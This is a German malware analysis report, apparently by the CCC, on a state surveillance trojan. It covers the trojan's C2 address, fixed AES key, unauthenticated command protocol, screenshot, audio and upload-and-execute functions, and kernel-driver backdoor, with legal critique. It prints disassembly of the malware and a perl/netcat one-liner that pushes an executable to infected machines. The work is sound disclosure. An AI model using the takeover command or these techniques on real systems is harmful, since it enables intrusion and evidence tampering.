Jochen
Laddicke

ANALYSE EINER REGIERUNGS-MALWARE

Dem Chaos Computer Club (CCC) wurde Schadsoftware zugespielt, deren Besitzer begründeten Anlaß zu der Vermutung hatten, daß es sich möglicherweise um einen „Bundestrojaner“ handeln könnte. Einen dieser Trojaner und dessen Funktionen beschreibt dieses Dokument, die anderen Versionen werden teilweise vergleichend hinzugezogen.

Berlin, 8. Oktober 2011

AUFBAU

Die Malware bestand aus einer Windows-DLL ohne exportierte Routinen. Das ist für eine DLL ungewöhnlich; erfahrungsgemäß kommt dies so gut wie ausschließlich bei Schadsoftware vor.

Unsere Untersuchung umfaßt eine statische Analyse im Disassembler und die praktische Umsetzung der Erkenntnisse in der Implementierung einer eigenen Kontrollsoftware für den Trojaner.

Die IP-Adresse des sogenannten „Command-and-Control-Servers“ (207.158.22.134) war fest in den Trojaner einprogrammiert. Der Server ist zum Zeitpunkt des Schreibens dieses Berichtes nach wie vor aktiv und erreichbar. Aus einem Zeitstempel-Feld konnten wir schließen, daß der Beginn der dem Trojaner-Einsatz zugrundeliegenden Ermittlung einige Zeit zurückliegt.

Für die Außen-Kommunikation verwendet der Trojaner den TCP-Port 443. Allerdings spricht der Trojaner über diesen Port nicht HTTPS, sondern ein eigenes Bastel-Protokoll. Daher ist es möglich, die Kommunikation des Trojaners automatisiert zu erkennen und beispielsweise in einer Firewall oder einem IDS zu identifizieren und zu filtern.

Das Protokoll benutzt zwar einen Verschlüsselungsalgorithmus, die Implementierung erfüllt jedoch bei weitem nicht die gängigen kryptographischen Sicherheitsstandards. So wird nur ein symmetrisches Verfahren (AES) im nicht-verketteten Placebo-Modus „ECB“ verwendet. Der Schlüssel ist zudem fest einprogrammiert. Bei anderen Versionen des Trojaners war der identische Schlüssel im Einsatz. Es werden einzig die Antworten des Trojaners verschlüsselt, eine Authentisierung der jeweiligen Gegenseite findet nicht statt. Ein zeitgemäßes, kryptografisches Verfahren zum Schutz der sensiblen Daten, deren Integrität und Vertraulichkeit wird hier nicht verwendet. Man kann also bestenfalls von einer Verschleierung der Kommunikation reden.

Alle untersuchten Varianten des Trojaners wurden zum Zeitpunkt der Berichterstellung von keinem Antivirus-Programm als Schadsoftware erkannt.

Die in den Trojaner eingebauten Funktionen sind das Anfertigen von Screenshots und das Abhören von Skype- und anderen VoIP-Gesprächen, allerdings können auch beliebige Schad-Module nachgeladen und ausgeführt werden.

INFEKTION

Wir haben keine Erkenntnisse über das Verfahren, wie die Schadsoftware auf dem Zielrechner installiert wurde. Eine naheliegende Vermutung ist, daß die Angreifer dafür physischen Zugriff auf den Rechner hatten. Andere mögliche Verfahren wären ähnliche Angriffe, wie sie von anderer Malware benutzt werden, also E-Mail-Attachments oder Drive-By-Downloads von Webseiten. Es gibt auch kommerzielle Anbieter von sogenannten Infection Proxies, die genau diese Installation für Behörden vornehmen.

Sicher können wir sagen, daß bei der Infektion zwei Komponenten installiert wurden: eine Windows-DLL im Userland c:\windows\system32\mfc42ul.dll sowie ein Windows-Kernel-Modul namens winsys32.sys.

Das Laden und Ausführen des DLL-Codes wird über den Registry-Key SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs realisiert, das Kernel-Modul wird über einen Windows-Kernel-Modul-Service vom Betriebssystem geladen.

Das Kernel-Modul liegt in Form einer unsignierten 32-bit-Datei vor. Es kann daher in dieser Form nur auf einem 32-bit-Windows funktionieren. Uns liegen keine Erkenntnisse vor, ob es auch eine 64-bit-Version gibt. Dies wäre daher interessant, da 64-bit-Versionen zwangsläufig signiert sein müssen. Über die Signatur könnte man eventuell Rückschlüsse auf den Urheber der Software ziehen.

KOMMUNIKATION MIT KOMMANDOZENTRALE

Beim regulären Laden einer Windows-DLL wird zumindest die DLL-Main-Routine verarbeitet, hierin werden die ersten, initialen Schadroutinen ausgeführt, die dafür sorgen, daß aktuell laufende Prozesse infiziert werden. Unter anderem dockt sich die Schadsoftware an den Prozeß explorer.exe an und baut von hier aus die Verbindung zum Kontrollserver auf.

Der in den uns vorliegenden Trojanern hart einkodierte Command-and-Control-Server (C+C-Server) befindet sich auf der IP 207.158.22.134. Diese IP liegt im Rechenzentrum des kommerziellen Hosting-Anbieters Web Intellects in Columbus, Ohio, USA.

VERSCHLÜSSELUNG

Wir haben in der DLL das bekannte Block-Cipher-Verfahren AES gefunden. Es wird für die Verschlüsselung der ausgehenden Daten verwendet. Da AES ein symmetrisches Verfahren ist, müssen Sender und Empfänger denselben geheimen Schlüssel besitzen und sind für Dritte kryptographisch nicht unterscheidbar. Der AES-Schlüssel ist in allen von uns untersuchten Varianten des Trojaners gleich. Er lautet:

```
49 03 93 08 19 94 96 94  28 93 83 04 68 28 A8 F5
0A B9 94 02 45 81 93 1F  BC D7 F3 AD 93 F5 32 93
```

Auffällig an dem gefundenen AES-Code ist, daß nur die Verschlüsselung implementiert wurde, nicht aber die für die Entschlüsselung benötigte Decryption Key Derivation. Außerdem werden in dem benutzten ECB-Modus alle 16-Byte-Blöcke mit demselben Schlüssel ver- und wieder entschlüsselt. Im Klartext: Identischer Input erzeugt identischen Output.

Wie bereits erwähnt wird nur eine Richtung der Kommunikation verschlüsselt, nämlich die Antworten des Trojaners. Wichtiger als die Ver-schlüsselung ist für einen Kommandokanal aber die Authentisierung. Der Trojaner implementiert hier keinerlei Schutz gegen Manipulationen. Es gibt lediglich einen fest einkodierten Banner-String, und zwar

C3PO-r2d2-POE

Dieser wird jedoch vom Trojaner zum Server geschickt und nicht andersherum. Ein Angreifer muß ihn also nicht kennen oder entschlüsseln können, um den Trojaner übernehmen zu können, denn die Gegenrichtung, also die Kommandos an den Trojaner und ihre Parameter, sind gänzlich ungesichert und können von Dritten frei eingesehen oder manipuliert werden.

Durch die unzureichende Verschlüsselung ergibt sich aus diesem Banner ein konstanter Byte-String am Anfang der Trojaner-Kommunikation, an dem man den Trojaner-Rückkanal automatisiert in einem IDS oder IPS erkennen, herausfiltern bzw. Alarm schlagen kann.

Diese beiden Punkte sind besonders brisant, weil eine der manipulierbaren Funktionen das Hochladen und Ausführen eines weiteren Programmes ist (siehe unten). Es ist daher ein Leichtes, ein einmal identifiziertes, mit diesem Trojaner infiziertes System zu übernehmen und beispielsweise mit anderer Schadsoftware zu befüllen.

Zur Veranschaulichung: Bei einer solchen Übernahme würde man einfach die ersten 65 Bytes (Banner und Informationen wie die Fall-Nummer) aus der Verbindung des Trojaners abwarten und ihm danach einen Befehl der Form
\x0e <Länge der Parameter> <Parameter> <Länge des Executables> <Executable>
zuschicken. Hierfür muß man nicht einmal den AES-Schlüssel kennen.

Die fehlende Authentisierung ermöglicht die folgenden Angriffsszenarien:

1.) Ein Dritter versucht, die Zielperson mit falschen Beweisen zu belasten. Dafür meldet er sich am C+C-Server als das Zielsystem an und liefert gefälschte Beweise an die Ermittlungsbehörden. Dieses Szenario ist sehr einfach zu implementieren.

2.) Ein Dritter manipuliert den Netzwerkverkehr zwischen Zielperson und C+C-Server und gibt sich dem Trojaner gegenüber als der C+C-Server aus. Solche Möglichkeiten ergeben sich teilweise in öffentlichen (WLAN) oder anderweitig kompromittierbaren Netzwerken. Es wäre auch denkbar, daß ein Standort vorsorglich an der Firewall einen solchen Service installiert, um Teilnehmer im eigenen Netz vor Abhörversuchen zu schützen. In beiden Fällen besitzen Dritte die Möglichkeit, beliebige Programme auf dem System der Zielperson auszuführen, der Person gefälschte Beweise unterzuschieben oder ihre Daten zu löschen oder zu manipulieren.

3.) Da es auch zwischen den beiden Software-Komponenten des Trojaners keine Authentisierung gibt, gelten ähnliche Angriffsmöglichkeiten auch innerhalb des Rechners. Eine Schadsoftware kann sich mit Hilfe des Kernel-Moduls erhöhte Zugriffsrechte auf dem Zielsystem verschaffen, einfach indem sie das Kernel-Modul darum „bittet“. Ohne diese Hintertür bräuchte man Kenntnis einer aktuellen „local privilege escalation“-Sicherheitslücke, für die auf dem Schwarzmarkt vier- bis fünfstellige Euro-Beträge verlangt werden.

BEWERTUNG

Der Einsatz von AES in dem gezeigten katastrophalen Gesamtumfeld – ohne Session-Keys, mit ECB, und nur in eine Richtung – deutet auf Ausschreibungen im öffentlichen Sektor hin, bei denen AES gefordert wurde, aber der Rest nicht spezifiziert war. Mehr als einen Bonuspunkt in der B-Note können wir hier leider nicht vergeben.

Wir sind hocherfreut, daß sich für die moralisch fragwürdige Tätigkeit der Programmierung der Computerwanze keine fähiger Experte gewinnen ließ und die Aufgabe am Ende bei studentischen Hilfskräften mit noch nicht entwickeltem festen Moralfundament hängenblieb.

Auf der anderen Seite sind wir erschüttert, daß ein solches System bei der Qualitätssicherung auch nur durch das Sekretariat kommen konnte. Anfängerfehler dieser Größenordnung hätten im Vorfeld unterbunden werden müssen, zumal bereits bei der Anhörung vor dem Bundesverfassungsgericht anläßlich des Beschwerdeverfahrens gegen die Online-Durchsuchung von Regierungsseite immer wieder versichert wurde, daß besonders hohe Qualitätssicherungsansprüche gestellt würden. Man sprach gar davon, daß die Spionagesoftware individualisiert an den Zielrechner angepaßt würde. Diese hehren Ziele sind offenbar Sparmaßnahmen bei den Behörden zum Opfer gefallen.

Das vollumfängliche Eintreffen unsere Voraussage, daß ein Staatstrojaner zusätzliche klaffende Sicherheitslücken in die Zielrechner reißen würde, überraschte angesichts der ausführlichen Diskussionen schon etwas, erfüllt uns jedoch angesichts der potentiellen Schäden für Betroffene kaum mit Genugtuung.

Wir möchten darauf hinweisen, daß für die Zielpersonen die Unschuldsvermutung und für ihre Rechner das Grundrecht auf Vertraulichkeit und Integrität informationstechnischer Systeme gilt. Es ist für uns unbegreiflich, wie ein solcher Trojaner die vertraulichen und möglicherweise aus dem zu schützenden Kernbereich der privaten Lebensgestaltung stammenden Daten durch ein Drittland leiten kann, zumal noch ein in Fragen der Menschenrechte schlecht beleumundetes. Durch die Umleitung der Daten durch ein Land außerhalb der Jurisdiktion der EU wird dem betroffenen Bürger möglicherweise auch ein wirksamer Rechtsbehelf verwehrt.

Besonders die Privatsphäre, aber auch Wirtschaftsgeheimnisse sind schützenswert. Das hier vorliegende Schadprogramm geht grob fahrlässig mit den sensiblen abgeschnorchelten Daten um. Insbesondere entsetzt der Umstand der Durchreichung der unzureichend gesicherten Daten durch ein nicht näher kontrolliertes Netzwerk.

Angesichts der katastrophal gescheiterten Mechanismen zur Einhaltung von Mindeststandards bezüglich der kryptographischen Absicherung sensibler Daten stellt sich auch die folgende Frage: Wie stehen die Verantwortlichen zu der Tatsache, daß die möglicherweise sensiblen Daten ausgespähter deutscher Bürger und Firmen durch die Netzwerke eines Landes geleitet werden, welches aktiv Wirtschaftsspionage in Deutschland betreibt? Wieso werden die Daten nicht über einen virtuellen Server etwa bei 1&1 oder Strato unter deutscher Jurisdiktion geleitet?

VERBINDUNGSAUFBAU UND DATENSTRUKTUREN

Ein nicht verbundener Client versucht in unregelmäßigen Abständen, sich per TCP zum Server zu verbinden. Bei Erfolg sendet er ein Null-Byte und einen Header von 64 Byte Länge. Ist der C+C-Server an den Daten interessiert, sollte er sie entschlüsseln.

Der Klartext des Paketes beginnt immer mit dem Magic C3PO-r2d2-POE

Die ersten Bytes des Klartext-Headers:

```
00000   43 33 50 4f 2d 72 32 64   32 2d 50 4f 45 00 99 96    C3PO-r2d2-POE
00010   07 00 00 00 1b c7 9b dc   5d 88 3d e1 57 a6 dd 7c           ] = W  |
00020   32 33 43 43 43 32 33 00  35 0f d8 04 a1 c2 f2 df    23CCC23 5
...
```

Nach dieser Begrüßung sendet der Client regelmäßig 16 Bytes lange Idle-Pakete der Form:

```
00000    11 26 80 7c ff ff ff ff  00 26 80 7c 42 25 80 7c    .&.|.....&.|B%.|
```

Einmal verbunden kann der Server Befehle an den Client senden. Diese Kommandos bestehen aus einem Byte Command-Identifier und einer variablen Menge von Parametern. Sie werden weiter unten aufgelistet.

Der Client antwortet auf einen Befehl mit einem 16 Bytes langen Header, an dessen erster Position meist ein Response Code steht. Dieser Response Code, beispielsweise im Falle eines Idle-Feedbacks 0x11, das Byte 0x16, signalisiert dem Server, daß sogleich ein JPEG-kodiertes Bildschirm-Foto gesendet wird. 0x28 gibt an, daß es gerade keine Fotos gibt (zum Beispiel, weil kein Browser- oder Skype-Fenster im Vordergrund, der Bildschirmschoner aktiv oder das Fenster teilweise verdeckt ist), und 0x23 signalisiert: „Dein soeben hochgeladenes Executable wurde ausgeführt“.

Nach dem Header folgen Response-abhängige Daten dynamischer Länge, etwa der angeforderte Screenshot oder ausgeleitete Audiofragmente.

Im Trojaner gibt für die Kommandos vom Server eine Kommando-Dispatcher-Routine mit einem großen Switch-Statement. Wir konnten einen Großteil der Funktionalitäten identifizieren, die Funktion einiger einzelner Kommandos ist aber noch unklar. Teilweise werden in den Routinen lediglich Werte geparsed und in verschiedene Datenstrukturen geschrieben. Wir nehmen an, daß hier indirekt Aktionen getriggert und/oder das Laufzeitverhalten des Trojaners konfiguriert werden kann.

Die genaue Verwendung der Datenstrukturen, die durch diese unbekannten Kommandos verändert wurden, konnte aufgrund der Komplexität noch nicht

sinnvoll nachvollzogen werden, daher bleiben diese im Rahmen dieser Dokumentation zunächst außen vor. Es würde uns freuen, wenn sich Interessierte der von uns bereitgestellten Ressourcen bedienten und gemeinsam die fehlenden Punkte zusammentrügen – gern vollkommen anonym und verschlüsselt an die E-Mailadresse 0zapftis@ccc.de **mit dem PGP-Key am Ende des Berichtes.**

Hier die bislang identifizierten Kommandos aus der Dispatcher-Routine:
"--" bedeutet, daß das Kommando von der Routine nicht behandelt wird.
"?" bedeutet, daß bislang unklar ist, was für Auswirkungen das Kommando auf den Programmverlauf hat.

cmd 1: --

cmd 2: Client verbindet sich neu und versucht danach, bisher unbekannte Daten abzusetzen, Code ist ähnlich wie cmd 13

cmd 3: Screencast geringer Bildqualität über eine bestimmte Zeit, wie cmd 9, nur mit einem Argument

cmd 4: Registrieren des Kernelmode-Treibers im Betriebssystem

cmd 5: Installation aller trojanerspezifischen Dateien im Dateisystem; noch ist nicht eindundertprozentig klar, woher die Daten genau kommen, möglicherweise gibt es noch eine Upload-Funktion ähnlich cmd 14

cmd 6: Löschen der Trojaner-Daten vom Dateisystem & Reboot

cmd 7: Entladen des Trojaners

cmd 8: Liste mit allen Softwarekomponenten und Patches

cmd 9: wie cmd 3, aber mit drei Argumenten

cmd 10: --

cmd 11: --

cmd 12: Setzen irgendwelcher Werte (sechs Integer-Werte, geparsed via sscanf)

cmd 13: Screenshot von Webbrowser und Skype

cmd 14: Upload eines Programmes und dessen unmittelbare Ausführung

cmd 15: --

cmd 16: ?

cmd 17: ?

cmd 18: Return 0

Da wir uns zunächst auf das große Gesamtbild und einzelne besonders fragwürdige Methoden konzentriert haben, sind einige Kommandos auf der Strecke geblieben. Über die Vervollständigung der Dokumentation durch die Community wären wir froh. Wir nehmen außerdem gern weitere Trojaner-Samples oder auch Quell-Code in braunen oder bunten Umschlägen oder per E-Mail an 0zapftis@ccc.de entgegen (PGP-Key am Ende des Dokuments).

SCREENSHOT-MECHANISMEN

Der C+C-Server kann auf verschiedenen Wegen Screenshots vom Client-PC anfordern. Die beiden Kommandos 2 und 13 unterscheiden sich anscheinend nur in der Anzahl der Parameter, die übergeben werden.

Screenshots werden offenbar standardmäßig (wir haben bislang keinen Weg drumherum gefunden) lediglich von den Fenstern mit Fokus gemacht, sofern eine White-List mit Prozeßnamen auf das Fenster zutrifft. Derzeit können wir zwar nicht ausschließen, daß es noch einen nativen Weg gibt, Screenshots voller Bildschirmgröße anzufertigen, aber zunächst scheint ein Check mittels IsWindow() zu Beginn einer Screenshot-Routine zu greifen:

```
...
.text:1000A410 000       sub     esp, 6Ch
.text:1000A413 06C       push    ebx
.text:1000A414 070       mov     ebx, ecx
.text:1000A416 070       mov     eax, [ebx+20h]
.text:1000A419 070       push    eax                     ; hWnd
.text:1000A41A 074       call    ds:IsWindow
.text:1000A41A
.text:1000A420 070       test    eax, eax
.text:1000A422 070       jnz     short loc_1000A42D
.text:1000A422
.text:1000A424 070       xor     al, al
.text:1000A426 070       pop     ebx
.text:1000A427 06C       add     esp, 6Ch
.text:1000A42A 000       retn    18h
```

Wird ein Screenshot vom Client angefordert, geschieht dies durch das Senden des Befehls 0x0d mit zweimal 4 Byte langen Argumenten, beispielsweise: 0D FF FF FF FF FF FF FF FF. Nur zur Erinnerung: Alles was der C+C-Server an den Client-PC sendet, ist unverschlüsselt.

Der Client antwortet hierauf entweder mit einem

```
28 26 80 7c ff ff ff ff 00 26 80 7c 42 25 80 7c
```

falls keine Bilddaten gesendet werden – oder z. B. mit

```
16 26 80 7c ff ff ff ff 00 26 80 7c 42 25 80 7c

ss ss ss ss ff ff ff ff 00 26 80 7c 42 25 80 7c
```

falls ein JPEG-kodiertes Bild folgt. Die mit „s“ markierten Bytes beinhalten die Größe der zu übertragenden Bild-Daten. Nach dem Empfang eines solchen Headers sollten genau „ss ss ss ss“ Bytes gelesen werden.

BEWERTUNG

Hier ist rechtlich und ethisch einiges in der Grauzone. Es ist beispielsweise ausgesprochen fragwürdig, bei einer Telekommunikationsüberwachung Screenshots eines E-Mail-Programmes oder anderer Editoren für eine Beweissicherung anzufertigen, da nicht nachgewiesen werden kann, ob die Texte überhaupt versendet wurden, also eine Kommunikation stattfand.

Alles, was im aktiven Bildschirmfenster passiert, zu Kommunikation umzudefinieren und dann mit einer „Quellen-TKÜ“ abzugreifen, sollte auch intellektuell weniger Begabten als dreiste Nummer ins Auge fallen. Eine E-Mail kann nach dem Verfassen nochmals überarbeitet und anderslautend verschickt worden sein, oder der Benutzer kann es sich auch anders überlegen und die E-Mail verwerfen. Und daß nebenher per Screenshot auch noch aufgezeichnet wird, was der Betroffene sonst so anklickt, grenzt an staatlichen Voyeurismus.

Letztlich erfaßt die Schadsoftware Gedankengänge des Computerbenutzers. Sein digitales Tagebuch, erstellt mit einer browserbasierten Textverarbeitung, enthält Überlegungen, die vielleicht nie seine Festplatte verlassen sollten, aber durch den Einsatz der Computerwanze als belastendes Indiz herangezogen werden können. Wenn das kein Eingriff in die digitale Intimsphäre ist, was dann?

Selbst wenn es hier klare rechtliche Regularien und eventuell sogar fachkundige, unabhängige Überprüfungen der Trojaner-Software gäbe: Ein großer Teil der Bürger nutzt mehr und mehr sogenannte Cloud-Dienste über Webbrowser und verfaßt etwa E-Mails, Tagebücher, Berichte und Kalendereinträge online. Google geht diese Richtung noch einen Schritt weiter und bietet ein vollkommen Webbrowser-basiertes Betriebssystem an.

Für einen Teil der Menschen wird es also langfristig keine Trennung zwischen on- und offline verfaßten Texten mehr geben, die für die Behörden durch den „Quellen-Telekommunikationsüberwachungs“-Trojanereinsatz offenlägen. Schon jetzt haben mit HTML5 lokale Datenbankzugriffe Einzug in die Browser gefunden, so daß man auch lokale Anwendungen komplett nativ in einem Webbrowser realisieren kann, die dann ebenfalls per Browser-Screenshot überwacht werden können.

HINTERTÜR IN DER HINTERTÜR

Laut Aussage der Behörden, die diese Schadsoftware einsetzen, und laut der Angaben im Rahmen der Anhörung vor dem Bundesverfassungsgericht, werden die Programme für jeden Einzelfall individuell zusammengestellt. Jede Funktionalität soll richterlich abgesegnet sein.

Diese Aussage erscheint uns nicht glaubwürdig, weil die hartkodierten Schlüssel und Dateinamen in allen untersuchten Trojaner-Varianten identisch waren. Außerdem fanden wir noch Reste von Code für unbenutzte Funktionalität in den Binaries. Wenn hier also für jede Anwendung spezifisch ein Trojaner angefertigt wird, dann kann die Durchführung nur als dilettantisch bezeichnet werden.

Wir fanden außerdem prompt eine Hintertür in der Hintertür – also einen Bundestrojaner-Funktionserweiterer, der vorbei an jeder Kontrolle etwaig involvierter Ermittlungsrichter nativ die Möglichkeit zur Verfügung stellt, die Schadsoftware mit weiteren Funktionalitäten anzureichern.

UPLOAD- UND EXECUTE-MECHANISMUS

Zunächst wird der entsprechende Befehl zum Hochladen eines Programmes im Kommando-Dispatcher nicht versteckt. Er ist einfach da, und er kann getriggert werden:

```
.text:100064C1
; ---------------------------------------------------------------------------
.text:100064C1
.text:100064C1     perl -e 'print "\x0e" . "\x10\x00\x00\x00" . "B" x 16 .
"\x00\xc0\x01\x00" . `cat calc.exe`;' | nc -v -l 6666 | hexdump -C
.text:100064C1
.text:100064C1     cmd_disp_case14:                        ; CODE XREF: _0zapf-
tis_process_remotemessage+31j
.text:100064C1                                             ; DATA XREF:
.text:__0zapftis_init_cmd_dispatchero
.text:100064C1 014       mov     edx, [esi]                ; jumptable 100063A1 case
14
.text:100064C3 014       mov     ecx, esi
.text:100064C5 014       call    dword ptr [edx+2Ch]
.text:100064C5
.text:100064C8 014       jmp     short loc_100064F9
```

Der letztlich ausgeführte Code beinhaltet das Speichern der Datei

```
.text:1000D4F1 438       call    ds:GetTempPathA
.text:1000D4F1
.text:1000D4F7
.text:1000D4F7     loc_1000D4F7:                           ; CODE XREF: _0zapf-
tis_download_store_EXE+BBj
.text:1000D4F7 430       mov     eax, tmp_file_index
.text:1000D4FC 430       lea     edx, [esp+430h+FileName]
.text:1000D500 430       mov     ecx, eax
.text:1000D502 430       inc     eax
.text:1000D503 430       push    ecx
.text:1000D504 434       lea     ecx, [esp+434h+Buffer]
.text:1000D50B 434       push    ecx
.text:1000D50C 438       push    offset aSTmp08x_exe       ; "%s~tmp%08x~.exe"
.text:1000D511 43C       push    edx                       ; Destination Buffer <-
zu eng :-)
.text:1000D512 440       mov     tmp_file_index, eax
.text:1000D517 440       call    _sprintf
.text:1000D517
.text:1000D51C 440       lea     eax, [esp+440h+FileName]
.text:1000D520 440       push    eax                       ; lpFileName
.text:1000D521 444       call    _0zapftis_create_file
...
```

und das anschließende Ausführen:

```
.text:1000D5FA 430       push    0
.text:1000D5FC 434       push    0                       ; narf. Wenn das 1 wäre,
dann wird code ausgefuehrt
.text:1000D5FE 438       push    1
.text:1000D600 43C       lea     eax, [esp+43Ch+var_214]
.text:1000D607 43C       push    0
.text:1000D609 440       lea     ecx, [esp+440h+FileName]
.text:1000D60D 440       push    eax
.text:1000D60E 444       push    ecx
.text:1000D60F 448       call    _0zapftis_file_execute    ; shell execute
...
```

Die hier der Funktion _0zapftis_file_execute() **übergebenen Argumente werden teilweise an die Windows-API** ShellExecuteA() **weitergegeben. Wäre das zweite Argument – wie oben zu sehen – eine 1, würde die Datei direkt von** ShellExecute **ausgeführt werden. Betrachtet man jedoch die Funktion** _0zapftis_file_execute() **noch ein zweites Mal genauer, stellt man sehr schnell fest, daß hier etwas versteckt werden sollte.**

Ausführen einer hochgeladenen Datei:

```
.text:10003C81 0E4       mov     esi, offset aCrea         ; "Crea"
...
.text:10003D29 0E4       mov     edi, offset aTeproc       ; "teProc"
...
.text:10003D9E 0E4       push    offset aKernel32          ; "Kernel32"
.text:10003DA3 0E8       call    ds:GetModuleHandleA
...
.text:10003DBE 0E4       mov     edi, offset aEssa         ; "essA"
...
.text:10003E1C 0F0       call    ?append@?$basic_string@...
...
.text:10003E5D 0EC       call    ds:GetProcAddress
.text:10003E5D
.text:10003E63 0E4       test    eax, eax
.text:10003E65 0E4       jz      loc_10003F51
.text:10003E65
.text:10003E6B 0E4       lea     ecx, [esp+0E4h+var_60]
.text:10003E72 0E4       lea     edx, [esp+0E4h+var_50]
.text:10003E79 0E4       push    ecx                       ; lpProcessInformation
.text:10003E7A 0E8       mov     ecx, [esp+0E8h+arg_4]
.text:10003E81 0E8       push    edx                       ; lpStartupInfo
.text:10003E82 0EC       mov     edx, [esp+0ECh+arg_0]
.text:10003E89 0EC       push    0                         ; lpCurrentDirectory
.text:10003E8B 0F0       push    0                         ; lpEnvironment
.text:10003E8D 0F4       push    4000000h               ; dwCreationFlags
.text:10003E92 0F8       push    0                         ; bInheritHandles
.text:10003E94 0FC       push    0                         ; lpThreadAttributes
.text:10003E96 100       push    0                         ; lpProcessAttributes
.text:10003E98 104       push    ecx                       ; CmdLine
.text:10003E99 108       push    edx                       ; AppName
.text:10003E9A 10C       call    eax                       ; CreateProcessA()
```

Wie in oben schnell ersichtlich wird, wurde die Zeichenkette CreateProcessA **in mehrere Teile zerlegt und an verschiedenen, scheinbar zufälligen Positionen innerhalb der Funktion wieder zusammengesetzt. Nach dem Zusammensetzen der Zeichenkette mit dem Funktionsnamen wird die Windows-Laufzeitbibliothek geladen (**kernel32.dll**), um einen Funktionspointer auf die exportierte Windows-API** CreateProcessA **zu laden. Letztere ist – wie der Name schon verspricht – geeignet, um einen neuen Prozeß zu erzeugen. Hierfür wird der Pfad auf das zuletzt hochgeladene Executable sowie die per Kommando** 0x0E **übergebenen Parameter verwendet, um die Datei auszuführen.**

Hierüber können beliebige weitere Programme ausgeführt werden, die es etwa erlauben, beliebig auf den Inhalt der Festplatte einzuwirken.

BEWERTUNG

Die Verschleierung der CreateProcessA-Funktion kann verschiedene Gründe haben: das Umgehen von Antiviren-Programmen, die einen solchen API Call rein heuristisch negativ bewerten, oder aber das plumpe Verstecken einer Hintertür und Täuschen von Auditoren. Wir halten beide Varianten für plausibel, denn immerhin ist diese Funktionalität eindeutig rechtswidrig im Kontext einer „Quellen-TKÜ“. Ferner muß ganz klar gesagt werden: Wer auch immer das versteckt hat, er oder sie wußte ganz genau, warum und was versteckt werden sollte – offensichtlich waren sich die Verantwortlichen ihres Handelns durchaus bewußt.

EXPLOITATION

Wir haben es uns nicht nehmen lassen, die Hintertür in der Hintertür auch in unserer eigenen C+C-Server-Konsole zu implementieren. Dadurch sind wir beispielsweise in der Lage, eine Raumüberwachung (aka „Großer Lauschangriff“) zu starten oder Beweise zu fälschen.

AUDIO-AUFZEICHNUNG

Bedingt durch die Hürden des C++-lastigen Codes konnten wir bislang keinen Call-Path finden, über den die akustische Raumüberwachung ohne Nachladen eines entsprechenden Programms über die oben beschriebene Funktion gestartet werden kann. Der notwendige Code steht jedoch ziemlich vollständig in der DLL bereit und eignet sich, um das Mikrophon eines Computers anzuschalten und Audiodaten weiterzuverarbeiten.

```
.text:10008EC3 024       mov     ecx, offset mm_function_table ; call
.text:10008EC8 024       call    _0zapf_mm_waveInOpen
.text:10008EC8
.text:10008ECD 00C       mov     eax, [edi]
.text:10008ECF 00C       push    20h                     ; cbwh
.text:10008ED1 010       push    ebx                     ; pwh -  - WAVE Header /
Buffer
.text:10008ED2 014       push    eax                     ; hwi -  - WAVE Handle
.text:10008ED3 018       mov     ecx, offset mm_function_table ; call
.text:10008ED8 018       call    _0zapf_mm_waveInPrepareHeader ; vermutlich platz
fuer eine sekunde audio bei 23040 samples/sec
.text:10008ED8
.text:10008EDD 00C       mov     ecx, [edi]
.text:10008EDF 00C       add     esi, 58h
.text:10008EE2 00C       push    20h                     ; cbwh
.text:10008EE4 010       push    esi                     ; pwh
.text:10008EE5 014       push    ecx                     ; hwi
.text:10008EE6 018       mov     ecx, offset mm_function_table ; call
.text:10008EEB 018       call    _0zapf_mm_waveInPrepareHeader
.text:10008EEB
.text:10008EF0 00C       mov     edx, [edi]
.text:10008EF2 00C       push    20h                     ; cbwh
.text:10008EF4 010       push    ebx                     ; pwh
.text:10008EF5 014       push    edx                     ; hwi
.text:10008EF6 018       mov     ecx, offset mm_function_table ; call
.text:10008EFB 018       call    _0zapf_mm_waveInAddBuffer
...
```

Da ebenso noch Code des für Sprachkompression gebauten Codecs „SPEEX“ im Trojaner gefunden wurde, nehmen wir an, daß die Sprachdaten z. B. auch aus der von uns nicht näher analyiserten Skype-Überwachung damit für eine Übertragung vorbereitet werden sollen.

Pikantes Detail an dieser Stelle: Die Hersteller des Trojaners kommen der expliziten Forderung aus den Lizenzbedingungen von Speex nicht nach, den Benutzer auf geeignete Art und Weise über der Verwendung des Codes hinzuweisen. Dies geschieht üblicherweise in einem eigenen „About“- oder „License“-Fenster.

WINDOWS-KERNEL-TREIBER

Teil des Trojaners ist eine Art Rootkit in Form eines Kernel-Moduls namens WINSYS32.SYS. Dieses Kernel-Modul dient dem Zweck, dem Rest des Trojaners Zugriff auf einige Systemfunktionen zu ermöglichen, für die er sonst nicht die nötigen Zugriffsrechte hätte.

FUNKTIONEN DES KERNEL-MODULS

Das Kernel-Modul erlaubt nach der Installation beliebigen Prozessen, Dateien an beliebiger Stelle im Dateisystem anzulegen, umzubenennen oder zu löschen und Daten in die Registry zu schreiben.

Außerdem beinhaltet das Kernel-Modul größere Teile einer nicht verwendeten Tastatur-Logging-Funktionalität. Der Code zum Aktivieren dieser Funktion fehlt zwar, aber unter Ausnutzung eines Sicherheitslochs in dem Kernel-Modul kann man den Keylogging-Code trotzdem anschalten und nutzen.

Des weiteren fanden wir in dem Kernel-Modul auch ungenutzte Codefragmente für Usermode-Shellcode-Injection und für IRP-Umlenkung (könnte im Kontext des Keylogging Anwendung gefunden haben).

NAMEN UND PFADE

Das Kernel-Modul trägt in allen von uns untersuchten Versionen des Trojaners den Namen WINSYS32.SYS und meldet im System ein Gerät unter den Pfaden \Device\KeyboardClassC und \DosDevices\KeyboardClassC an.
Der Zugriff auf dieses Gerät ist nicht beschränkt, es wird nicht einmal das FILE_DEVICE_SECURE_OPEN-Flag gesetzt.

Auf Handles zu diesem Gerät akzeptiert das Kernel-Modul IOCTLs mit folgender Funktionalität:

- Keylogger-Puffer auslesen,
- schreibe Puffer in Datei, nimmt den Dateinamen, kein Handle,
- erstelle Datei, nimmt den Dateinamen,
- Datei umbenennen, nimmt Quell- und Zieldateinamen,
- Datei nach Neustart löschen, trägt einen Dateinamen in die Registry ein, damit er nach dem nächsten Neustart gelöscht wird,
- Key/Value-Paar in die Registry schreiben,
- Version des Kernel-Moduls in Buffer schreiben,
- Blue Screen auslösen, diese Funktion ist redundant, da mangels ordentlicher Eingabevalidierung auch die anderen Funktionen zum Auslösen eines Blue-Screens verwendet werden können.

